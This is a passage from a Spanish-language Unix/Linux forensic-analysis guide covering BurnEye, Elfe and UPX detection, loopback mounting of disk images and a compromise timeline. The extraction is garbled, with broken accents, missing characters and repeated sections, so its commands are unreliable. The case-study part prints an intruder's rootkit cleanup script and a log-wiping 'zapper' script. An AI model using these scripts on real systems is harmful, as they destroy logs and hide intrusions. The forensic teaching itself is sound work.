Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 42: Análisis Forense de Sistemas GNU/Linux, Unix

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

